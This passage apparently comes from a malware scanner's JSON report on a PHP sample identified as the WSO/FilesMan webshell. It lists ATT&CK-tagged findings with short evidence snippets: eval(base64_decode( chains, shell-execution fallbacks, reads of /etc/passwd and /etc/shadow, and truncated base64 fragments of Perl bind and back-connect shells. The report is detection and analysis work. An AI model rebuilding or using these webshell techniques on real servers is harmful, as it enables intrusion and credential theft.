[ ".bash_history" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-7", "l": 1, "m": "B0030" }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads safe_mode setting", "e": [ "ini_get('safe_mode" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-safe-mode", "l": 4, "m": "B0032" }, { "a": "T1505.003", "c": 0.8199999928474426, "d": "Content-Disposition download response", "e": [ "Content-Disposition: attachment; filename" ], "i": "objectives/command-and-control/backdoor/webshell/stager::content-disposition-download", "l": 1 }, { "a": "T1027", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "HOST" ], "i": "objectives/anti-static/obfuscation/payload/config::url-component-concat--rx-12", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "AddType text/plain .php" ], "i": "objectives/command-and-control/backdoor/webshell/config::htaccess-handler-directives--rx-3", "l": 1, "m": "B0030" }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "file_put_contents(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "c": 0.800000011920929, "d": "Sequential source identifier names", "e": [ "identifiers.sequential_names = 26.00" ], "i": "metadata/file/text/profile::sequential-identifiers", "l": 2 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via passthru()", "e": [ "passthru" ], "i": "micro-behaviors/process/create/shell/lang::passthru", "l": 3, "m": "E1059" }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "Detects append mode file opening for infection", "e": [ "fopen($filename, \"a+\")" ], "i": "objectives/impact/infect/script::php-append-file-mode", "l": 4 }, { "a": "T1027", "c": 0.699999988079071, "d": "base64_encode function call for encoding payloads", "e": [ "base64_encode" ], "i": "objectives/anti-static/obfuscation/encoding/xor::base64-encode-call", "l": 4, "m": "B0032" }, { "d": "Sets HTTP cookie via setcookie()", "e": [ "setcookie" ], "i": "micro-behaviors/communications/http/cookies::setcookie-call", "l": 3 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "c3lzdGVt" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::encoded-dangerous-php-base64--rx-4", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "/etc/passwd" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-6", "l": 1, "m": "B0030" }, { "a": "T1082", "c": 0.699999988079071, "d": "Gets effective UID of current process", "e": [ "posix_geteuid" ], "i": "objectives/discovery/system/fingerprint/info::posix-geteuid", "l": 3, "m": "E1082" }, { "c": 0.8999999761581421, "d": "Shell executes /tmp path directly", "e": [ " /tmp/bp.pl " ], "i": "micro-behaviors/data/text/dropper::executes-tmp-file", "l": 3 }, { "c": 0.699999988079071, "d": "Username tracking field", "e": [ "username =" ], "i": "objectives/command-and-control/infrastructure/tracking::username-field", "l": 1 }, { "d": "overflow keyword", "e": [ "overflow" ], "i": "micro-behaviors/data/text/keywords/lexicon::overflow", "l": 1 }, { "a": "T1005", "c": 0.75, "d": "Targets Documents folder", "e": [ "\"documents\"" ], "i": "objectives/collection/stealer/tactics::documents-folder-target", "l": 1, "m": "B0028" }, { "a": "T1505.003", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "eval(base64_decode(" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-decoder-chain--rx-1", "l": 1, "m": "B0030" }, { "a": "T1090", "c": 0.8500000238418579, "d": "Server-side request forgery fetch pattern", "e": [ "curl_init(\"file://\" . $_POST['p2'] . \"\\0\" . preg_replace('!\\\\(\\\\d+\\\\)\\\\s.*!', '', '/home/bediger/src..." ], "i": "objectives/command-and-control/backdoor/webshell/fetch::ssrf-pattern", "l": 4, "m": "B0030" }, { "c": 0.8999999761581421, "d": "system fallback function name", "e": [ "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-system-name", "l": 1, "m": "B0030" }, { "c": 0.699999988079071, "d": "base64 encoding keyword", "e": [ "Base64" ], "i": "micro-behaviors/data/text/encoded::base64-token", "l": 3 }, { "c": 0.75, "d": "WordPress user_login field reference", "e": [ "user_login" ], "i": "micro-behaviors/data/text/keywords/wordpress::wp-user-login-field", "l": 1 }, { "a": "T1505.003", "c": 1.0, "d": "Inequality check in WordPress user list", "e": [ "!=" ], "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait", "l": 1, "m": "B0030" }, { "c": 0.8199999928474426, "d": "wp-config.php path reference", "e": [ "wp-config.php" ], "i": "objectives/supply-chain/hidden-payload/trojan::wp-config-path", "l": 1 }, { "c": 0.8999999761581421, "d": "shell_exec fallback function name", "e": [ "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-shell-exec-name", "l": 1, "m": "B0030" }, { "a": "T1105", "c": 0.8500000238418579, "d": "Moves uploaded PHP file", "e": [ "move_uploaded_file" ], "i": "micro-behaviors/fs/write/file/direct::move-uploaded-file", "l": 3, "m": "C0052" }, { "c": 0.6000000238418579, "d": "SELECT SQL keyword in query", "e": [ "SELECT * from" ], "i": "micro-behaviors/data/db/conn/sql::sql-select", "l": 3 }, { "c": 0.800000011920929, "d": "SHOW schema administration queries", "e": [ "SHOW CREATE TABLE", "SHOW TABLES" ], "i": "micro-behaviors/data/db/conn/mysql::mysql-show-admin-sql", "l": 3 }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "WSO webshell version marker", "e": [ "WSO_VERSION" ], "i": "well-known/malware/webshell/family::wso-version", "l": 4, "m": "B0030" }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account postgres", "e": [ "postgres" ], "i": "objectives/lateral-movement/brute-force/password::service-account-postgres", "l": 1, "m": "E1110" }, { "c": 0.949999988079071, "d": "Disables error reporting (error_reporting(0))", "e": [ "error_reporting(0)" ], "i": "micro-behaviors/os/stdio::error-reporting-off", "l": 3 }, { "a": "T1059.004", "c": 0.8500000238418579, "d": "Shell stderr redirected to stdout", "e": [ " 2\u003e\u00261" ], "i": "micro-behaviors/process/create/shell/lang::shell-stderr-redirect", "l": 3, "m": "E1059" }, { "a": "T1005", "c": 0.75, "d": "Targets Downloads folder", "e": [ "\"downloads\"" ], "i": "objectives/collection/stealer/tactics::downloads-folder-target", "l": 1, "m": "B0028" }, { "a": "T1027.010", "c": 0.9300000071525574, "d": "chr(hexdec(...)) custom hex decoder (obfuscation)", "e": [ "chr(hexdec(" ], "i": "objectives/anti-static/obfuscation/encoding/hex::hexdec-chr-decode", "l": 4, "m": "B0032" }, { "a": "T1082", "d": "Windows ipconfig command", "e": [ "ipconfig /all" ], "i": "objectives/discovery/system/fingerprint/os::windows-ipconfig", "l": 3, "m": "B0012" }, { "c": 0.20000000298023224, "d": "output keyword", "e": [ "output" ], "i": "micro-behaviors/data/text/keywords/lexicon::output", "l": 1 }, { "c": 0.75, "d": "Generic $_SERVER superglobal access", "e": [ "$_SERVER" ], "i": "micro-behaviors/communications/http/request/params::server-dup", "l": 3 }, { "c": 0.699999988079071, "d": "ftpd daemon reference", "e": [ "ftpd" ], "i": "micro-behaviors/os/service/daemon::ftpd", "l": 3 }, { "c": 0.8999999761581421, "d": "/etc/shadow password file access", "e": [ "/etc/shadow" ], "i": "micro-behaviors/os/privilege/paths::etc-shadow", "l": 3 }, { "c": 0.75, "d": "grabber keyword", "e": [ "Grabber" ], "i": "micro-behaviors/data/text/malware/terms::grabber-word", "l": 3 }, { "c": 0.8999999761581421, "d": "netstat command", "e": [ "netstat" ], "i": "micro-behaviors/os/network/status::netstat", "l": 3 }, { "c": 0.75, "d": "Inline password token in lure", "e": [ "Password name=pass" ], "i": "objectives/lateral-movement/social-engineering/lures::inline-password-token", "l": 1 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "multipart/form-data content type", "e": [ "multipart/form-data" ], "i": "micro-behaviors/communications/http/post::multipart-form", "l": 1, "m": "C0002" }, { "c": 0.6000000238418579, "d": "Very long base64 strings present", "e": [ "PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6NDk0cHg7bGVmdDo1MCU7dG9wOjIwcHg7bWFyZ2luLWxlZnQ6LTI3NnB4O3BhZGRpbmc6OHB4O3BhZGRp", "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lO", "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRy" ], "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings", "l": 3 }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account mysql", "e": [ "mysql" ], "i": "objectives/lateral-movement/brute-force/password::service-account-mysql", "l": 1, "m": "E1110" }, { "a": "T1082", "c": 0.6000000238418579, "d": "Windows platform detection marker", "e": [ "Windows", "Windows-1251" ], "i": "objectives/discovery/system/fingerprint/os::os-check-windows", "l": 2, "m": "B0012" }, { "c": 0.699999988079071, "d": "python interpreter keyword (beyond shebang)", "e": [ "python" ], "i": "micro-behaviors/process/interpreter/python::python-keyword", "l": 3 }, { "c": 0.6000000238418579, "d": "Base64-encoded HTTP protocol fragment", "e": [ "aHR0cDovL" ], "i": "objectives/exfiltration/oob/endpoint::http-b64", "l": 1 }, { "a": "T1059.004", "c": 0.6000000238418579, "d": "References /bin/sh (Bourne shell)", "e": [ "\u003cspan\u003eBind port to /bin/sh [perl]\u003c/span\u003e\u003cbr/\u003e", "\\r\\n\u003ch1\u003eBack Connect\u003c/h1\u003e\u003cdiv class=content\u003e\\r\\n\\t\u003cform name='nfp' onSubmit=\\\"g(null,null,'bpp',this.port.value);return false;\\\"" ], "i": "micro-behaviors/process/create/shell/invoke::bin-sh", "l": 3, "m": "E1059.004" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches core exec functions", "e": [ "exec($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-core", "l": 3, "m": "E1059" }, { "a": "T1082", "c": 0.6000000238418579, "d": "Linux platform detection marker", "e": [ "AutoRoot [ Linux ]", "list file attributes on a Linux second extended file system", "Linux Kernel ", "Linux" ], "i": "objectives/discovery/system/fingerprint/os::os-check-linux", "l": 2, "m": "B0012" }, { "a": "T1222", "c": 0.699999988079071, "d": "Shell chmod 7xx (executable)", "e": [ "chmod 777 " ], "i": "micro-behaviors/fs/chmod/executable/mode::shell-7xx", "l": 3, "m": "E1222" }, { "a": "T1046", "c": 0.6000000238418579, "d": "FTP port number (21)", "e": [ "port ? $port : 21" ], "i": "objectives/discovery/network/scan/port::port-number-ftp", "l": 1, "m": "E1046" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches alt exec functions", "e": [ "passthru($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-alt", "l": 3, "m": "E1059" }, { "c": 0.699999988079071, "d": "perl interpreter keyword (beyond shebang)", "e": [ "perl" ], "i": "micro-behaviors/process/interpreter/perl::perl-keyword", "l": 3 }, { "a": "T1071.001", "d": "listen() socket call", "e": [ "listen" ], "i": "micro-behaviors/communications/http/server/listener::listen-keyword", "l": 3, "m": "C0002" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "secret" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11767", "l": 1 }, { "c": 0.30000001192092896, "d": "wget command", "e": [ "wget http" ], "i": "objectives/command-and-control/beacon/network/client-cli::wget-cmd-dup", "l": 1 }, { "a": "T1222", "c": 0.800000011920929, "d": "Python chmod 755 (owner executable)", "e": [ "chmod(\"cgi.cin\", 0755)" ], "i": "micro-behaviors/fs/chmod/executable/mode::python-0755", "l": 3, "m": "E1222" }, { "a": "T1027", "c": 0.8500000238418579, "d": "Multiple long lines (\u003e1000 chars)", "e": [ "text.lines_over_1000 = 17.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines", "l": 2, "m": "B0032" }, { "a": "T1552", "c": 0.949999988079071, "d": "Multiple credential files in config directories", "e": [ "/etc/passwd', @is_readable('/etc/passwd" ], "i": "objectives/credential-access/files/config::credential-files-config", "l": 4 }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 27600.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "c": 0.699999988079071, "d": "Remove execution time limit", "e": [ "set_time_limit" ], "i": "micro-behaviors/process/control/signal::set-time-limit", "l": 3 }, { "c": 1.0, "d": "Windows path-like string pattern", "e": [ "a:\\\\w+|body," ], "i": "micro-behaviors/data/text/path::windows-path-like-string", "l": 2 }, { "a": "T1033", "c": 0.800000011920929, "d": "/etc/passwd user database", "e": [ "/etc/passwd" ], "i": "micro-behaviors/fs/path/config/accounts::etc-passwd", "l": 2 }, { "c": 0.699999988079071, "d": "AJAX request handler pattern", "e": [ "$_POST['a']", "$_POST['p2']", "$_POST['p3']", "$_POST['pass']", "$_POST['c']", "$_POST['charset']", "$_POST['p1']" ], "i": "objectives/command-and-control/backdoor/webshell/ui::ajax-handler", "l": 4, "m": "B0030" }, { "c": 0.8999999761581421, "d": "PHP MySQL administration surface", "e": [ "mysql_query", "mysql_connect", "SHOW TABLES", "SHOW CREATE TABLE" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-admin-surface", "l": 3 }, { "a": "T1562.001", "c": 0.800000011920929, "d": "Reads multiple PHP security restrictions", "e": [ "ini_get('open_basedir", "ini_get('safe_mode", "ini_get('disable_functions" ], "i": "objectives/evasion/security-bypass/runtime::security-restriction-probe", "l": 4, "m": "B0032" }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "Payload includes file management features (upload, list, delete)", "e": [ "base64_decode('PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6NDk0cHg7bGVmdDo1MCU7dG9wOjIwcHg7bWFyZ2luLWxlZnQ6LTI3NnB4O3BhZGRpb", "unlink", "PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6NDk0cHg7bGVmdDo1MCU7dG9wOjIwcHg7bWFyZ2luLWxlZnQ6LTI3NnB4O3BhZGRpbmc6OHB4O3BhZGRp", "move_uploaded_file", "scandir", "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lO", "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRy" ], "i": "objectives/command-and-control/backdoor/webshell/stager::php-file-manager-payload", "l": 4 }, { "c": 0.800000011920929, "d": "Account configuration file access", "e": [ "/etc/passwd", "/etc/shadow" ], "i": "micro-behaviors/fs/path/config/accounts::account-files", "l": 3 }, { "c": 0.4000000059604645, "d": "Multiple standard I/O references", "e": [ "\u003e redirect stderr to stdout (2\u003e\u00261)\u003c/nobr\u003e\u003cbr/\u003e\u003ctextarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly\u003e", "stderr_to_out" ], "i": "micro-behaviors/process/fd/stdio::stdio-refs", "l": 2 }, { "a": "T1110.001", "c": 0.8199999928474426, "d": "Weak login usernames cluster", "e": [ "\"root\",", "\"admin\",", "'user']" ], "i": "objectives/lateral-movement/brute-force/ssh::weak-login-pair-set", "l": 4 }, { "d": "SQL statement keywords", "e": [ "CREATE TABLE", "INSERT INTO", "SELECT * from" ], "i": "micro-behaviors/data/db/conn/sql::sql-keywords", "l": 3 }, { "a": "T1070.004", "c": 1.0, "d": "Recursive directory cleanup in PHP", "e": [ "scandir", "rmdir", "unlink" ], "i": "objectives/evasion/self-delete/scripts::php-recursive-delete", "l": 4 }, { "c": 0.949999988079071, "d": "Falls back through multiple PHP execution functions", "e": [ "passthru", "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::php-execution-fallback-chain", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "Stealthy file manager stager (uses error suppression)", "e": [ "@set_time_limit(0)", "@ini_set('max_execution_time', 0)", "@ini_get('disable_functions')", "@define('WSO_VERSION', '2.5')", "@$_POST['a']", "@$_POST['charset']", "@ini_set('log_errors', 0)", "@set_magic_quotes_runtime(0)", "@ini_get('safe_mode')", "@ini_set('error_log', NULL)", "@getcwd()", "@chdir($_POST['c'])", "@$_POST['p2']", "@$_POST['p3']", "@$_POST['p1']" ], "i": "objectives/command-and-control/backdoor/webshell/stager::php-stealthy-file-manager-stager", "l": 5 }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP decoder eval webshell", "e": [ "base64_decode('PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6NDk0cHg7bGVmdDo1MCU7dG9wOjIwcHg7bWFyZ2luLWxlZnQ6LTI3NnB4O3BhZGRpb", "eval(base64_decode(", "eval", "$_POST['p1']", "$_POST" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::php-decoder-eval-webshell", "l": 5, "m": "B0030" }, { "a": "T1005", "c": 0.8999999761581421, "d": "Multiple common user folders targeted", "e": [ "\"desktop\"", "\"downloads\"", "\"documents\"" ], "i": "objectives/collection/stealer/tactics::common-user-folders", "l": 4, "m": "B0028" }, { "c": 0.9200000166893005, "d": "Detects delete-and-recreate file pattern", "e": [ "rename" ], "i": "objectives/impact/infect/script::php-unlink-recreate-pattern", "l": 3 }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP administrative webshell UI", "e": [ "ini_get('safe_mode", "find . -type f", "netstat -an", ".bash_history", "/etc/passwd", ".mysql_history", "ini_get('disable_functions" ], "i": "objectives/command-and-control/backdoor/webshell/ui::php-admin-webshell-ui", "l": 5, "m": "B0030" }, { "a": "T1566.002", "c": 0.8500000238418579, "d": "PHP script writing POST data to local file", "e": [ "$_POST" ], "i": "objectives/credential-access/phishing/tactics::php-credential-exfiltration", "l": 4, "m": "B0030" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Single appended long line in source", "e": [ "text.total_lines = 3118.00", "text.last_line_length = 1172.00", "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::appended-long-line", "l": 2, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Encoded payload detected: url", "e": [ "\u003ciframe src=\"//www.facebook.com/plugins/ \u003curl\u003e" ], "i": "metadata/encoded-payload/url", "l": 3 }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ "INET, SOCK_STREAM, $proto) || die (\"Sock \u003cbase64\u003e", "#!/usr/bin/perl use Socket; \u003cbase64\u003e", "*] Connecting...\\n\"; $proto = get \u003cbase64\u003e", "#!/usr/bin/perl $SHELL=\"/bin/sh -i\"; i \u003cbase64\u003e", " my $target = inet_aton($host); \u003cbase64\u003e", "#!/usr/bin/perl -I/usr/local/bandmain # \u003cbase64\u003e" ], "i": "metadata/encoded-payload/base64", "l": 3 }, { "c": 0.8999999761581421, "d": "Webshell FilesMan", "e": [ "\u003c128 bytes\u003e", "\u003c126 bytes\u003e" ], "i": "third_party/JPCERT/filesman/webshell_filesman_base64", "l": 4 }, { "c": 0.8999999761581421, "d": "Web Shell - file 404.php", "e": [ "\u003cspan\u003ePosix_getpwuid (\"Read\" /etc/passwd)" ], "i": "third_party/SigBase/Webshell/PHP", "l": 5 }, { "c": 0.8999999761581421, "d": "Detects Webshell - rule generated from from files c100 v. 777shell", "e": [ "cut -d: -f1,2,3 /etc/passwd | grep ::", "which wget curl w3m lynx" ], "i": "third_party/SigBase/Webshell/C100", "l": 5 }, { "c": 0.8999999761581421, "d": "php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings", "e": [ "escapeshellarg", "\u003c?php", "\u003c?", "addslashes" ], "i": "third_party/SigBase/EXT/WEBSHELL/PHP/Generic", "l": 5 }, { "c": 0.8999999761581421, "d": "php webshell containing base64 encoded payload", "e": [ "base64_decode", "leGVj", "V4ZW", "zeXN0ZW", "ZXhlY" ], "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads", "l": 5 }, { "c": 0.8999999761581421, "d": "Generic PHP webshell which uses any eval/exec function in the same line with user input", "e": [ "eval($_POST" ], "i": "third_party/SigBase/WEBSHELL/PHP/Generic/Eval", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell which directly eval()s obfuscated string", "e": [ "\u003c?", "\u003c?php", "eval(base64_decode(" ], "i": "third_party/SigBase/WEBSHELL/PHP/Gzinflated", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k", "e": [ "\u003c?", "$_SESSION[md5($", "$_COOKIE[md5($", "$cwd[strlen($", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/Dynamic/Big", "l": 5 }, { "c": 0.8999999761581421, "d": "Webshell which sends eval/assert via GET", "e": [ "$_POST['p1']($_POST[" ], "i": "third_party/SigBase/WEBSHELL/PHP/Function/Via/Get", "l": 5 } ], "sha": "b15568643bd41dd4614952e6db9f856001a6a1da525c85e0803e1d64b2bd76ab", "path": "/data/samples/bad/datasets/php-malware-analysis/webshells/154.121.7.26-2018-08-07a/pastebin/f3.php", "type": "php" } ], "tv": "a9555" } }